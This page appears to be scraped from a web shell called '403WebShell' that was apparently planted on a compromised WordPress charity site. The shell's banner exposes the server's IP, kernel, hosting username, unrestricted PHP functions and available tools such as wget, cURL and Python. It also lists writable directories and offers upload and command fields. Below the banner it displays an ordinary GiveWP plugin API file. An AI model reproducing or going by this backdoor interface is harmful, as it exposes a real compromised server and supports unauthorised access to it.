Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.188.245.104
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/includes/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/includes/api/class-give-api-v2.php
<?php
/**
 * Give API V2
 *
 * @package     Give
 * @subpackage  Classes/API
 * @copyright   Copyright (c) 2018, GiveWP
 * @license     https://opensource.org/licenses/gpl-license GNU Public License
 * @since       2.1
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}


/**
 * Give_API_V2 Class
 *
 * The base version API class
 *
 * @since  2.1
 */
class Give_API_V2 {
	/**
	 * API base prefix
	 *
	 * @since  2.1
	 * @access private
	 *
	 * @var string
	 */
	private $rest_base = 'give-api/v2';

	/**
	 * Instance.
	 *
	 * @since  2.1
	 * @access private
	 *
	 * @var Give_API_V2
	 */
	private static $instance;

	/**
	 * Singleton pattern.
	 *
	 * @since  2.1
	 * @access private
	 */
	private function __construct() {
	}


	/**
	 * Get instance.
	 *
	 * @since  2.1
	 * @access public
	 * @return Give_API_V2
	 */
	public static function get_instance() {
		if ( null === static::$instance ) {
			self::$instance = new static();

			self::$instance->init();
		}

		return self::$instance;
	}


	/**
	 * Initialize API
	 *
	 * @since  2.1
	 * @access private
	 */
	private function init() {
		// Setup hooks.
		add_action( 'rest_api_init', [ $this, 'register_routes' ] );
		add_action( 'wp_enqueue_scripts', [ $this, 'localize_script' ], 999 );
		add_action( 'admin_enqueue_scripts', [ $this, 'localize_script' ], 999 );
	}


	/**
	 * Register API routes
	 * Note: only for internal purpose.
	 *
	 * @todo   : prevent cross domain api request
	 *
	 * @since  2.1
	 * @access private
	 */
	public function register_routes() {
		register_rest_route(
			$this->rest_base,
			'/form/(?P<id>[\d]+)',
			[
				'methods'             => 'GET',
				'callback'            => [ $this, 'get_forms_data' ],
				'permission_callback' => '__return_true',
			]
		);

		register_rest_route(
			$this->rest_base,
			'/form-grid',
			[
				'methods'             => 'GET',
				'callback'            => [ $this, 'get_donation_grid' ],
				'permission_callback' => '__return_true',
			]
		);
	}

	/**
	 * Add api localize data
	 *
	 * @since  2.1
	 * @access public
	 */
	public function localize_script() {
		$data = [
			'root'      => esc_url_raw( self::get_rest_api() ),
			'rest_base' => $this->rest_base,
		];

		if ( is_admin() ) {
			wp_localize_script( 'give-admin-scripts', 'giveApiSettings', $data );
		} else {
			wp_localize_script( 'give', 'giveApiSettings', $data );
		}
	}

	/**
	 * Rest fetch form data callback
	 *
	 * @param WP_REST_Request $request
	 *
	 * @access public
	 * @return array|mixed|object
	 */
	public function get_forms_data( $request ) {
		$parameters = $request->get_params();

		// Bailout
		if ( ! isset( $parameters['id'] ) || empty( $parameters['id'] ) ) {
			return [ 'error' => 'no_parameter_given' ];
		}

		return give_form_shortcode( $parameters );
	}

	/**
	 * Rest fetch form data callback
	 *
	 * @param WP_REST_Request $request
	 *
	 * @access public
	 * @return array|mixed|object
	 */
	public function get_donation_grid( $request ) {
		$parameters = $request->get_params();

		return give_form_grid_shortcode( $parameters );
	}

	/**
	 * Get api reset url
	 *
	 * @since  2.1
	 * @access public
	 *
	 * @param int    $blog_id Optional. Blog ID. Default of null returns URL for current blog.
	 * @param string $path    Optional. REST route. Default '/'.
	 * @param string $scheme  Optional. Sanitization scheme. Default 'rest'.
	 *
	 * @return string Full URL to the endpoint.
	 */
	public static function get_rest_api( $blog_id = null, $path = '/', $scheme = 'rest' ) {
		return trailingslashit( get_rest_url( $blog_id, $path, $scheme ) . self::$instance->rest_base );
	}
}

Give_API_V2::get_instance();

Youez - 2016 - github.com/yon3zu
LinuXploit